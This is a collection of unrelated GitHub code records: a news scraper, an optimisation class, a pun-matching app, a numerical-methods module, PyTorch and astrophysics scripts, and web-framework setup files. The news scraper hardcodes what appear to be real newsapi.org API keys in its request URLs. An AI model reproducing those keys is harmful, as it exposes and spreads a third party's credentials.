print(\"TITLE:\",ar[\"title\"])\n browser.get(ar[\"url\"])\n ans=''\n html = browser.page_source\n soup = BS(html, 'html.parser')\n table = soup.find('div',{'class':re.compile('content__article-body')}).find_all('p')\n for k in table:\n if k.string is not None:\n ans=ans+k.string\n insertIntoDB(ar['publishedAt'],ar[\"title\"], ans, \"the-guardian-uk\", ar[\"url\"])\n except:\n print(\"removing video articles\") #article\n \n \ndef newsFromBBC():\n main_url = \" https://newsapi.org/v2/everything?sources=bbc-news&apiKey=95465951cbf447369c10a005ded49a0b\"\n open_bbc_page = requests.get(main_url).json()\n article = open_bbc_page[\"articles\"]\n results = []\n links = []\n browser = webdriver.PhantomJS(executable_path=\"D:/sw/phantomjs-2.1.1-windows/bin/phantomjs\")\n for ar in article:\n print(\"TITLE:\",ar[\"title\"])\n print(\"DATE:\",ar['publishedAt'])\n try:\n browser.get(ar[\"url\"])\n ans=''\n html = browser.page_source\n soup = BS(html, 'html.parser')\n table = soup.find_all('div',{'class':\"story-body__inner\"})[0].find_all('p',{'class':\"aria-hidden\"})\n for div in table:\n div.decompose()\n table=soup.find_all('div',{'class':\"story-body__inner\"})[0].find_all('p')\n for k in table:\n #if k.string is not None:\n ans=ans+k.string\n insertIntoDB(ar['publishedAt'],ar[\"title\"], ans, \"BBC\", ar[\"url\"])\n except:\n print(\"removing video articles\")\n\t\t\n\t\t\t\ndef newsFromCNBC():\n main_url = \"https://newsapi.org/v2/everything?sources=cnbc&apiKey=cb28b795dd1e469ebbc02ea19535898a\"\n open_cnbc_page = requests.get(main_url).json()\n article = open_cnbc_page[\"articles\"]\n browser = webdriver.PhantomJS(executable_path=\"D:/sw/phantomjs-2.1.1-windows/bin/phantomjs\")\n for ar in article:\n browser.get(ar[\"url\"])\n ans=''\t\t\n html = browser.page_source\n soup = BS(html, 'html.parser')\n try:\n table = soup.find_all('div',{'class':'group-container'})[1].find_all('p')\n for k in table:\n if k.string is not None:\n ans=ans+k.string\n insertIntoDB(ar['publishedAt'],ar[\"title\"], ans, \"CNBC\", ar[\"url\"])\n except:\n print(\"removing video articles\")\n\n\t\t\t\nnewsFromBBC()\t\n#newsFromGuardian()\ngetGoodNetworkNews()\n#newsFromCNBC()\n","repo_name":"nivedita104/PosNews","sub_path":"mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":4551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36108116979","text":"import numpy as np\n\n\nclass HillClimbing:\n \"\"\"\n Maximization Problem.\n \"\"\"\n\n def __init__(self, method='vanilla', noise_scale=0.1, n_candidates=1, up_rate=2, down_rate=0.5, max_noise=2,\n min_noise=0.001):\n\n assert method in ['vanilla', 'steepest_ascent', 'simulated_annealing', 'adaptive_noise_scaling']\n\n self.x_best = None\n self.f_best = -np.inf\n self.noise_scale = noise_scale\n self.n_candidates = n_candidates\n self.down_rate = down_rate\n self.up_rate = up_rate\n self.max_noise = max_noise\n self.min_noise = min_noise\n self.method = method\n\n def step(self, xs, fs):\n\n xs_new = None\n\n if self.method == 'vanilla':\n if fs[0] > self.f_best:\n self.x_best = xs[0]\n self.f_best = fs[0]\n xs_new = [self.x_best + np.random.normal(loc=0, scale=self.noise_scale, size=xs[0].shape)]\n\n if self.method == 'steepest_ascent':\n best_indx = np.argmax(fs)\n\n if fs[best_indx] > self.f_best:\n self.x_best = xs[best_indx]\n self.f_best = fs[best_indx]\n xs_new = [self.x_best + np.random.normal(0, self.noise_scale, size=xs[0].shape) for _ in\n range(self.n_candidates)]\n\n if self.method == 'simulated_annealing':\n best_indx = np.argmax(fs)\n\n if fs[best_indx] > self.f_best:\n self.x_best = xs[best_indx]\n self.f_best = fs[best_indx]\n self.noise_scale /= self.down_rate\n xs_new = [self.x_best + np.random.normal(0, self.noise_scale, size=xs[0].shape) for _ in\n range(self.n_candidates)]\n\n if self.method == 'adaptive_noise_scaling':\n best_indx = np.argmax(fs)\n\n if fs[best_indx] > self.f_best:\n self.x_best = xs[best_indx]\n self.f_best = fs[best_indx]\n self.noise_scale = max(self.noise_scale * self.down_rate, self.min_noise)\n else:\n self.noise_scale = min(self.noise_scale * self.up_rate, self.max_noise)\n\n xs_new = [self.x_best + np.random.normal(0, self.noise_scale, size=xs[0].shape) for _ in\n range(self.n_candidates)]\n\n return xs_new\n","repo_name":"m-fili/CartPole_HillClimbing","sub_path":"gradient_free/hill_climbing.py","file_name":"hill_climbing.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29466654927","text":"import argparse\nimport logging\nimport re\nimport os\nimport shutil\nfrom logging import getLogger\n\nimport MeCab\nimport wikipedia\nfrom Levenshtein import distance as D\nfrom pykakasi import kakasi\n\n\nlogging.basicConfig(level=logging.INFO)\nlog = getLogger(__name__)\n\n\nclass Gorgeous:\n \"\"\"\n 君のハートに、レボ☆リューション\n\n gorgeous = Gorgeous()\n gorgeous.revolution(\"まだ助かる\")\n\n >>> マダガスカル\n \"\"\"\n def __init__(self, **kwargs) -> None:\n k = kakasi()\n k.setMode('K', 'a')\n self.conv = k.getConverter()\n self.tagger = MeCab.Tagger()\n self.nations = self.read_nations(**kwargs)\n self.nations_roman = [\n self.romanize(nation) for nation in self.nations]\n self.nations_roman_vowel = [self.extract_vowel(\n self.romanize(nation)) for nation in self.nations]\n self.recent_answer = \"\"\n return\n\n def read_nations(self, fname=\"data/nations.csv\", **kwargs) -> list:\n \"\"\"\n Read csv file \n published on 『国コード一覧CSV ISO 3166-1』\n https://qiita.com/tao_s/items/32b90a2751bfbdd585ea\n \"\"\"\n assert os.path.exists(fname), f\"{fname} is not found\"\n with open(fname, \"r\") as f:\n nations = f.read().split(\"\\n\")\n\n nations = [re.split(\"[,|]\", nation)[0].replace(\"\\\"\", \"\") for nation in nations]\n nations.pop(0)\n return nations\n\n def read_csv_data(self, filepath, **kwargs) -> list:\n with open(filepath, \"r\") as f:\n data = f.read().split(\"\\n\")\n data = [re.split(\"[,|]\", area)[0].replace(\"\\\"\", \"\") for area in data]\n data.pop(0)\n return data\n\n def clean_str(self, s: str) -> str:\n return re.sub(r'[*\\s\\t\\n.,]', \"\", s)\n\n def katakanize(self, s: str, morph=False, **kwargs) -> str:\n \"\"\"\n convert \"kanji\" to \"katakana\"\n \"\"\"\n morphed = [re.split(r\"[,\\t\\s\\n]\", w) for w in self.tagger.parse(s).split(\"\\n\")]\n morphed.remove([\"\"])\n morphed.remove([\"EOS\"])\n \n k = [morph[-1] if morph[-1] != \"*\" else morph[0] for morph in morphed]\n\n if morph: # morphlogical analysed output\n return k\n\n return \"\".join(k)\n\n def romanize(self, s, **kwargs) -> list:\n \"\"\"\n convert \"katakana\" to \"romaji\" via kakasi\n (kanji - kana simple inverter)\n \"\"\"\n s = self.katakanize(s, **kwargs)\n if type(s) == str:\n s = [s]\n return [self.conv.do(w) for w in s]\n\n def extract_vowel(self, word: str, **kwargs) -> str:\n \"\"\"\n extract vowels from romanized words\n \"\"\"\n if type(word) == list:\n return [self.extract_vowel(w) for w in word]\n\n return \"\".join([l for l in word if l in [\"a\", \"i\", \"u\", \"e\", \"o\", \"n\"]])\n\n def revolution(self, sentence: str, app_use=False ,**kwargs):\n \"\"\"\n Revolution: Get Similar Nation Name from Word\n\n gorgeous.revolution(\"まだ助かる\")\n >>> マダガスカル\n\n args\n ----\n n_result : default=5 : lines of result print\n vowel : default=False : if true, word-distance will be calculated based on vowels\n app_use : default=False, if true, returns value of dict with some info\n \"\"\"\n\n # default kargs\n n_result = kwargs.get('n_result', 3)\n vowel = kwargs.get('vowel', False)\n\n answer = dict()\n\n log.info(f\"INPUT: {sentence}\")\n answer[\"input\"] = sentence\n # sentence -> [words] -> [katakana] -> [roman]\n word_roman = self.romanize(sentence, **kwargs)\n log.info(f\"ROMAN: {word_roman}\")\n answer[\"roman\"] = word_roman\n\n if vowel:\n word_vowel = self.extract_vowel(word_roman)\n log.info(f\"VOWEL: {word_vowel}\")\n answer[\"vowel\"] = word_vowel\n dists = [D(word_vowel[-1], nation[0]) for nation in self.nations_roman_vowel]\n else:\n dists = [D(word_roman[-1], nation[0]) for nation in self.nations_roman]\n answer[\"vowel\"] = \"\"\n idx = sorted(range(len(dists)), key=lambda k: dists[k])\n\n # logging\n log.info(\"RESULT:\")\n answer[\"results\"] = []\n for i in range(n_result):\n rank = idx[i]\n nation = self.nations[rank]\n dist = dists[rank]\n roman = self.nations_roman_vowel[rank] if vowel else self.nations_roman[rank]\n # calc score\n roman = roman[0] if type(roman) == list else roman # list -> str\n word_roman = word_roman[0] if type(word_roman) == list else word_roman # list -> str\n score = (len(word_roman) - int(dist)) / len(roman) if len(roman) != 0 else 0\n score = round(100 * score, 2)\n # build message for log and line bot\n msg = f\"No.{i+1} : {nation} ({roman}) : ({dist} : {score}%)\"\n log.info(\"\\t\" + msg)\n answer[\"results\"].append([nation, roman, dist, score])\n\n self.recent_answer = self.nations[idx[0]]\n answer[\"result\"] = self.nations[idx[0]]\n\n # Get meta info\n map_url = self.googlemap()\n log.info(f\"ここ！({map_url})\")\n answer[\"map\"] = map_url\n print(\"-\" * shutil.get_terminal_size()[0]) # draw line\n \n wiki = self.wikipedia()\n log.info(f\"{wiki[1]}！！\\n\")\n _, answer[\"wiki_summary\"], answer[\"wiki_url\"] = wiki\n print(u\"☆\" * shutil.get_terminal_size()[0]) # draw line\n\n # Answer\n if app_use: # returns dict value\n return answer\n return self.recent_answer\n\n def googlemap(self, place=None) -> str:\n \"\"\"generate Google Map Link\"\"\"\n if place is None:\n place = self.recent_answer\n return f\"https://www.google.com/maps/search/{place}/\"\n\n def wikipedia(self, place=None) -> tuple:\n \"\"\"Generate Wikipedia Link\"\"\"\n if place is None:\n place = self.recent_answer\n wikipedia.set_lang(\"ja\")\n p = wikipedia.page(wikipedia.search(place)[0])\n return (p.title, p.summary, p.url)\n\n def showtime(self, **kwargs) -> None:\n print(\"【ゴー☆ジャスのショータイム！】\")\n print(f\"\\n- 【お題】を入力してくれよな！\\n- ランキングを{kwargs.get('n_result', 3)}件表示するぞ！\\n- 地球義ではなく、GoogleMapとWikipediaの情報を出力するぞ！\")\n print(u\"☆\" * shutil.get_terminal_size()[0]) # draw line\n while True:\n place = input(\"\\n【お題】を入力: \")\n if place in [\"終了\", \"end\", \"終わり\"]:\n break\n self.revolution(place, **kwargs)\n print(\"また遊んでくれよな！\")\n return\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(\n description='キミも、ゴー☆ジャスになろう！')\n \n parser.add_argument('-N', '--n_line', help=\"結果表示数\", default=3, type=int)\n parser.add_argument('-F', '--file', help=\"nations.csv ファイルパス\",\n default='nations.csv')\n parser.add_argument('-V', '--vowel', help=\"母音モード\", action='store_true')\n\n args = parser.parse_args()\n gorgeous = Gorgeous(fname=args.file)\n gorgeous.showtime(vowel=args.vowel, n_result=args.n_line)\n","repo_name":"atsukoba/GorgeousApp","sub_path":"app/gorgeous.py","file_name":"gorgeous.py","file_ext":"py","file_size_in_byte":7351,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"40065351764","text":"import math\nl = input()\nwhile l:\n try:\n r,x,y = map(float, l.split())\n area = math.pi*r**2\n d = math.sqrt(x**2 + y**2)\n if d > r:\n print(\"miss\")\n else:\n #are of sector - area of triangle\n #area of circle - area of segment\n tmp = r-d\n o = 2*math.acos(d/r)\n seg = 0.5*(o - math.sin(o))*(r**2)\n print(area - seg,seg)\n\n l = input() \n\n except EOFError:\n break\n","repo_name":"nigelandrewquinn/Kattis","sub_path":"halfacookie.py","file_name":"halfacookie.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24916151396","text":"#Demonstrates a simple GUI\n\nfrom tkinter import *\n\n#Base window\nroot = Tk()\n\n#Editing the window\nroot.title(\"Простейший GUI\")\nroot.geometry(\"200x100\")\n\n#Frame\napp = Frame(root)\napp.grid()\n\n#A Label inside the Frame\nlbl = Label(app, text=\"Это я!\")\nlbl.grid()\n\n#Button1 inside the Frame\nbttn1 = Button(app, text=\"Я ничего не делаю!\")\nbttn1.grid()\n\n#Button2 inside the Frame\nbttn2 = Button(app)\nbttn2.grid()\nbttn2.configure(text=\"Я тоже!\")\n\n#Button3 inside the Frame\nbttn3 = Button(app)\nbttn3.grid()\nbttn3[\"text\"] = \"И я тоже!\"\n\n\nroot.mainloop()","repo_name":"Xomer89/LearningPy","sub_path":"untitled/GUI/simpleGUI.py","file_name":"simpleGUI.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37443747793","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom app.libs.utils import safe_int\nfrom app.exception.http_error import MultiValidationException\n\nINPUT = {\n \"X\": [10, 20, 30, 40, 50, 60, 70],\n \"Y\": [12, 21, 46, 65, 90, 111, 148]\n}\n\nclass PolinomialNewton(object):\n xinput: int\n\n def __init__(self, data: dict) -> object:\n self.xinput = safe_int(data.get(\"xinput\", 0))\n \n def prevalidate(self) -> MultiValidationException:\n error = MultiValidationException()\n\n if self.xinput == 0 or \\\n (self.xinput < 10 or self.xinput > 70):\n error.push_error(\"input\", \"Invalid input. Range input: 10-70\")\n\n return error\n\n def to_dict(self) -> dict:\n return self.__polinom_newton()\n\n def __polinom_newton(self) -> dict:\n x = INPUT[\"X\"]\n y = INPUT[\"Y\"]\n n = len(x)-1\n ST = np.zeros((n+1, n+1))\n ST[:, 0] = y\n\n for k in range(1, n+1):\n for i in range(0, n-k+1):\n ST[i, k] = round((ST[i+1, k-1] - ST[i, k-1])/(x[i+k]-x[i]), 5)\n\n p = ST[0,0]\n for i in range(1, n+1):\n a = ST[0, i]\n\n for k in range(0, i):\n a = a * (self.xinput-x[k])\n\n p = p + a\n \n return {\n \"calculate\": ST.tolist(),\n \"result\": p,\n }\n","repo_name":"agprsty-utdi/metode-numerik-app","sub_path":"domain/polinomial_newton.py","file_name":"polinomial_newton.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16813782546","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import print_function, absolute_import, division\n\nimport os\nimport sys\nimport time\nfrom pprint import pprint\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim\nimport torch.backends.cudnn as cudnn\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\n\nfrom opt import Options\n\nfrom model import LinearModel, weight_init\nfrom train import DatasetTrain, DatasetTest\nimport util\nimport log\n\n\n\ndef main(opt):\n start_epoch = 0\n err_best = 1000\n glob_step = 0\n lr_now = opt.lr\n\n # save options\n\n # create model\n print(\">>> creating model\")\n model = LinearModel()\n model = model.cuda()\n model.apply(weight_init)\n print(\">>> total params: {:.2f}M\".format(sum(p.numel() for p in model.parameters()) / 1000000.0))\n criterion = nn.MSELoss(size_average=True).cuda()\n optimizer = torch.optim.Adam(model.parameters(), lr=opt.lr)\n\n # load ckpt\n if opt.load:\n print(\">>> loading ckpt from '{}'\".format(opt.load))\n # import pdb; pdb.set_trace()\n ckpt = torch.load(opt.load)\n start_epoch = ckpt['epoch']\n err_best = ckpt['err']\n glob_step = ckpt['step']\n lr_now = ckpt['lr']\n model.load_state_dict(ckpt['state_dict'])\n optimizer.load_state_dict(ckpt['optimizer'])\n print(\">>> ckpt loaded (epoch: {} | err: {})\".format(start_epoch, err_best))\n \n\n # list of action(s)\n \n\n # data loading\n # test\n if opt.test:\n \n test_loader = DataLoader(DatasetTest('test.npy','label.npy'), batch_size =128,drop_last=False)\n \n hh=test(test_loader, model, criterion)\n \n print (\">>>>>> TEST results:\")\n \n sys.exit()\n\n # load dadasets for training\n test_loader = DataLoader(DatasetTest('train.npy','label.npy'), batch_size=128,drop_last=False)\n train_loader = DataLoader(DatasetTrain('train.npy','label.npy'), batch_size=128,drop_last=False, shuffle=True)\n print(\">>> data loaded !\")\n\n cudnn.benchmark = True\n for epoch in range(start_epoch, opt.epochs):\n print('==========================')\n print('>>> epoch: {} | lr: {:.5f}'.format(epoch + 1, lr_now))\n\n # per epoch\n glob_step, lr_now, loss_train = train(\n train_loader, model, criterion, optimizer,\n lr_init=opt.lr, lr_now=lr_now, glob_step=glob_step, lr_decay=opt.lr_decay, gamma=opt.lr_gamma,\n max_norm=opt.max_norm)\n loss_test = test(test_loader, model, criterion)\n\n # update log file\n \n\n # save ckpt\n is_best = loss_test < err_best\n err_best = min(loss_test, err_best)\n if is_best:\n \tlog.save_ckpt({'epoch': epoch + 1,\n 'lr': lr_now,\n 'step': glob_step,\n 'err': err_best,\n 'state_dict': model.state_dict(),\n 'optimizer': optimizer.state_dict()},\n ckpt_path=opt.ckpt,\n is_best=True)\n \n\n \n\n\ndef train(train_loader, model, criterion, optimizer,\n lr_init=None, lr_now=None, glob_step=None, lr_decay=None, gamma=None,\n max_norm=True):\n losses = util.AverageMeter()\n\n model.train()\n\n start = time.time()\n batch_time = 0\n \n for i, (inps, tars) in enumerate(train_loader):\n glob_step += 1\n if glob_step % lr_decay == 0 or glob_step == 1:\n lr_now = util.lr_decay(optimizer, glob_step, lr_init, lr_decay, gamma)\n inputs = Variable(inps.cuda())\n targets = Variable(tars.cuda())\n\n outputs = model(inputs)\n\n # calculate loss\n optimizer.zero_grad()\n loss = criterion(outputs, targets)\n losses.update(loss.item(), inputs.size(0))\n loss.backward()\n if max_norm:\n nn.utils.clip_grad_norm(model.parameters(), max_norm=1)\n optimizer.step()\n print (\">>> train error: {} <<<\".format(losses.avg))\n\n # update summary\n\n \n return glob_step, lr_now, losses.avg\n\n\ndef test(test_loader, model, criterion):\n losses = util.AverageMeter()\n\n model.eval()\n\n all_dist = []\n start = time.time()\n batch_time = 0\n results = list()\n for i, (inps, tars) in enumerate(test_loader):\n inputs = Variable(inps.cuda())\n targets = Variable(tars.cuda())\n\n \n outputs = model(inputs)\n results.append(outputs)\n\n # calculate loss\n outputs_coord = outputs\n loss = criterion(outputs_coord, targets)\n\n losses.update(loss.item(), inputs.size(0))\n\n final=torch.cat(results,dim=0)\n final=1000000*final.detach().cpu().numpy()[:,0]\n results_txt = open(\"results.txt\", \"w+\")\n for i in range(final.shape[0]):\n \tresults_txt.write(str(final[i]) + '\\n')\n # update summary\n \n print (\">>> error: {} <<<\".format(losses.avg))\n return losses.avg\n\n\nif __name__ == \"__main__\":\n option = Options().parse()\n main(option)\n\n","repo_name":"WendyBaiYunwei/CS5228-project","sub_path":"task1/nn_approach/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2278701279","text":"import matplotlib\nmatplotlib.use('agg')\nimport numpy as np\nimport pickle\nimport numpy\nfrom astropy.io import fits\nfrom galpy.util import bovy_conversion, bovy_coords, save_pickles, bovy_plot\nfrom galpy.potential import MWPotential2014, turn_physical_off, vcirc\nimport astropy.units as u\nfrom galpy.orbit import Orbit\nimport random\nimport pal5_util_MWfit\nimport MWPotential2014Likelihood\nimport os, os.path\nimport re\nimport glob\nimport pickle\nimport csv\nfrom optparse import OptionParser\n_REFR0, _REFV0= MWPotential2014Likelihood._REFR0, MWPotential2014Likelihood._REFV0\nro, vo= _REFR0, _REFV0\n\n\ndef get_options():\n usage = \"usage: %prog [options]\"\n parser = OptionParser(usage=usage)\n \n parser.add_option(\"--ind\",dest='ind',default=None,\n type='int',\n help=\"index of potential\")\n return parser\n\n\ndef determine_nburn(filename='../pal5_mcmc/mwpot14-fitsigma-0.dat',\n threshold=0.1,skip=50,\n return_nsamples=False):\n \"\"\"Function to detemrine an appropriate nburn for a given chain\"\"\"\n # Load the data\n data= numpy.loadtxt(filename,comments='#',delimiter=',')\n lndata= numpy.reshape(data[:,-1],(len(data[:,5])//nwalkers,nwalkers))\n # Perform a running diff wrt skip less\n diff= (lndata-numpy.roll(lndata,skip,axis=0))\n diff[:skip]= -100. # Make sure it's not within the first hundred\n maxln= numpy.nanmax(lndata)\n try:\n indx= (numpy.fabs(numpy.median(diff,axis=1)) < threshold)\\\n *((maxln-numpy.nanmax(lndata,axis=1)) < 1.25)\n if maxln > -22.5:\n indx*= numpy.std(lndata,axis=1) < 3.\n if return_nsamples:\n return len(data)-numpy.arange(len(lndata))[indx][0]*nwalkers\n else:\n return numpy.arange(len(lndata))[indx][0]*nwalkers\n except IndexError:\n if return_nsamples: return 100.\n else: return numpy.prod(lndata.shape)-100\n\n\nnwalkers= 12\n\n#from each MCMC chain file, pick nsamples\nnsamples= 2000\n\npot_ind=np.arange(0,32,1)\npot_ind=np.delete(pot_ind,14)\n\nt_age= np.linspace(0.,5.,1001)/bovy_conversion.time_in_Gyr(vo,ro)\n\nperi_all=[]\n\nparser= get_options()\noptions,args= parser.parse_args()\n\npindx=pot_ind[options.ind]\n\ncsvfo= open('pal5_mcmc_selected_chains_pot{}.dat'.format(pindx),'w')\nfowriter= csv.writer(csvfo,delimiter=',')\n\n# Load this potential\nfn= 'mwpot14-fitsigma-%i.dat' % pindx\nwith open(fn,'rb') as savefile:\n line1= savefile.readline()\npotparams= [float(s) for s in (line1.split(':'.encode())[1].split(','.encode()))]\n\ntnburn= determine_nburn(fn)\ntdata= numpy.loadtxt(fn,comments='#',delimiter=',')\ntdata= tdata[tnburn::]\n\nrand_indx=random.sample(range(len(tdata)),nsamples)\n\nperi=[]\n\nfor jj in rand_indx:\n \n tvo= tdata[jj][1]*_REFV0\n pot= MWPotential2014Likelihood.setup_potential(potparams,tdata[jj][0],False,False,\n pal5_util_MWfit._REFR0,tvo)\n\n # Now compute the stream model for this setup\n dist= tdata[jj][2]*22.\n pmra= -2.296+tdata[jj][3]+tdata[jj][4]\n pmdecpar= 2.257/2.296\n pmdecperp= -2.296/2.257\n pmdec= -2.257+tdata[jj][3]*pmdecpar+tdata[jj][4]*pmdecperp\n vlos= -58.7\n sigv= 0.4*numpy.exp(tdata[jj][5])\n \n \n prog= Orbit([229.018,-0.124,dist,pmra,pmdec,vlos],\n radec=True,ro=ro,vo=tvo,\n solarmotion=[-11.1,24.,7.25]).flip()\n \n prog.integrate(t_age,pot)\n peri=prog.rperi()\n \n out=[peri,tdata[jj][3],tdata[jj][0],tdata[jj][1],sigv]\n out.extend([229.018,-0.124,dist,pmra,pmdec,vlos])\n \n fowriter.writerow(out)\n \ncsvfo.flush()\ncsvfo.close()\n","repo_name":"nbanik/Baryonic-effects-on-Pal5","sub_path":"select_mcmc_chains.py","file_name":"select_mcmc_chains.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"2763084199","text":"from fastapi import FastAPI as FA\nfrom fastapi.logger import logger\nfrom aioredis import create_redis_pool, Redis\n\nfrom .auth.routes import auth_router, user_router\nfrom .budget.routes import budget_router, transactions_router\n\n\nclass FastAPI(FA):\n def __init__(self) -> None:\n super().__init__()\n self.redis: Redis\n\n\napp = FastAPI()\n\n\n@app.on_event('startup')\nasync def on_start():\n logger.info('App init')\n logger.info('Connecting to redis database ... ')\n redis = await create_redis_pool('redis://redis', db=3)\n app.redis = redis\n\n\n@app.on_event('shutdown')\nasync def on_shutdown():\n app.redis.close()\n await app.redis.wait_closed()\n\n\napp.include_router(auth_router)\napp.include_router(user_router)\napp.include_router(budget_router)\napp.include_router(transactions_router)\n","repo_name":"bensondomingo/budget-backend","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36396016914","text":"import os\n\nfrom setuptools import setup, find_packages\n\nhere = os.path.abspath(os.path.dirname(__file__))\nREADME = open(os.path.join(here, 'README.rst')).read()\nCHANGES = open(os.path.join(here, 'CHANGES.rst')).read()\n\nrequires = [\n 'pyramid>=1.4',\n 'PyBrowserID',\n 'requests>=1.0',\n 'MarkupSafe',\n ]\n\nsetup(name='pyramid_persona',\n version='1.6.1',\n description='pyramid_persona',\n long_description=README + '\\n\\n' + CHANGES,\n classifiers=[\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"Framework :: Pyramid\",\n \"Topic :: Internet :: WWW/HTTP\",\n ],\n author='Georges Dubus',\n author_email='georges.dubus@gmail.com',\n url='https://github.com/madjar/pyramid_persona',\n keywords='web pyramid pylons authentication persona',\n packages=find_packages(),\n include_package_data=True,\n zip_safe=False,\n install_requires=requires,\n tests_require=requires,\n test_suite=\"pyramid_persona\",\n )\n","repo_name":"madjar/pyramid_persona","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"82"} +{"seq_id":"38799631444","text":"from django.contrib import admin\nfrom django.urls import path,include\nfrom blog import views\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('register/',views.register,name = 'register'),\n path('login/', views.login, name='login'),\n path('blog/',include('blog.urls')),\n path('home/', views.home_unlog,name=\"home_unlog\"),\n path('home/unlog',views.log_out,name=\"log_out\"),\n path('summernote/', include('django_summernote.urls')),\n path('jet/', include('jet.urls', 'jet')),\n path('jet/dashboard/', include('jet.dashboard.urls', 'jet-dashboard')),\n]","repo_name":"githubfqy/EasyDown","sub_path":"EasyDown/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29673402947","text":"import time\nimport sys\n\ndef timecount(fu):\n def counttime():\n fu()\n t=time.process_time()\n print(t)\n return counttime\n\n@timecount\n\ndef test():\n print('hello')\n time.sleep(1)\n \ntest()\n\ndef fibnq(n):\n a,b,count=0,1,0\n while count \"\n__source = \"https://github.com/pgdr/benchmcmc\"\n__webpage = __source\n__description = \"Use MCMC to do benchmark analysis\"\n\n\ndef _src(x):\n root = os.path.dirname(__file__)\n return os.path.abspath(os.path.join(root, x))\n\n\ndef _read_file(fname, op):\n with open(_src(fname), \"r\") as fin:\n return op(fin.readlines())\n\n\ndef readme():\n try:\n return _read_file(\"README.md\", lambda lines: \"\".join(lines))\n except Exception:\n return __description\n\n\nsetuptools.setup(\n name=\"benchmcmc\",\n version=\"0.0.7\",\n packages=[\"benchmcmc\"],\n description=__description,\n long_description=readme(),\n long_description_content_type=\"text/markdown\",\n author=\"PG Drange\",\n author_email=\"pgdr@equinor.com\",\n maintainer=__pgdr,\n url=__webpage,\n project_urls={\n \"Bug Tracker\": \"{}/issues\".format(__source),\n \"Documentation\": \"{}/blob/master/README.md\".format(__source),\n \"Source Code\": __source,\n },\n license=\"MIT\",\n keywords=\"mcmc, bayesian methods, statistics, benchmark analysis, disaster modeling, unix, command line tool\",\n install_requires=[\"matplotlib\", \"pymc3\"],\n entry_points={\"console_scripts\": [\"benchmcmc=benchmcmc:main\"]},\n)\n","repo_name":"pgdr/benchmcmc","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"13784482084","text":"from htd_utilities import *\nfrom htd_collaterals import *\nfrom hpl_clocks import *\nfrom htd_hpl_itpp_interface import *\nfrom htd_hpl_signal_manager import *\nfrom htd_hpl_sbftload_manager import *\nfrom hpl_tap_spf_api import *\nfrom hpl_tap_stpl_api import *\nfrom hpl_tap_dfx_api import *\nfrom htd_hpl_interactive_socket_interface import *\nfrom htd_hpl_spf_interface import *\nfrom htd_hpl_xdp_interface import *\nfrom htd_history_manager import *\n# -------------------------------------------------------------------------------------------------------\n# This class is used as a data container for passing arguments from TE Tap action toward HPL Tap manager\n# -------------------------------------------------------------------------------------------------------\n\n\nclass htd_tap_params(object):\n def __init__(self):\n self.ircode = -1\n self.irname = \"\"\n self.agent = \"\"\n self.read_modify_write = 0\n self.bfm_mode = \"normal\"\n self.check = 1\n self.refclock = \"\"\n self.read_type = 0\n self.waitcycles = -1\n self.eptarget = \"\"\n self.dr = htd_argument_containter() # data container storing fields and dri/dro assignment\n # arguments.get_argument(\"VIK\"): -> [ \"VIK[0:2]=2\",\"VIK[5:7]=7\"..... ]\n\n\n# --------------------------------------------------------------------\n# This class is used as an isolation interface between HPL and TE\n# --------------------------------------------------------------------\nclass htd_player_ui(object):\n\n def __init__(self):\n htdte_logger.callBack_for_extensions = self.add_comment\n self.current_action = None\n self.silent_mode = False\n self.interactive_mode = False\n self.labels_history_table_name = \"HPL_Labels\"\n self.current_ratio = 1\n self.default_ratio = 1\n self.ratio_clk = \"\"\n self.scan_memory_in_progress = 0\n # --------Clock managment\n # Take it from TE_cfg.....self.hpl_to_dut_interface\n clock_class_name = (\"hpl_%s_clocks\") % (\"interactive\" if (self.interactive_mode) else \"non_interactive\")\n # --------------------------------\n if(os.environ.get('HTD_TE_HELP_MODE') == \"1\"):\n self.hplClockMgr = eval(clock_class_name)(CFG, self)\n return # No low level object initilization in HELP arguments mode\n # -----------------------------\n if(\"HPL\" not in list(CFG.keys())):\n htdte_logger.error(\"Missing HPL configuration category in global CFG structure . \")\n if(\"execution_mode\" not in list(CFG[\"HPL\"].keys())):\n htdte_logger.error(\"Missing \\\"execution_mode\\\" configuration entry in CFG[HPL] structure . \")\n # -------Interfaces--------\n 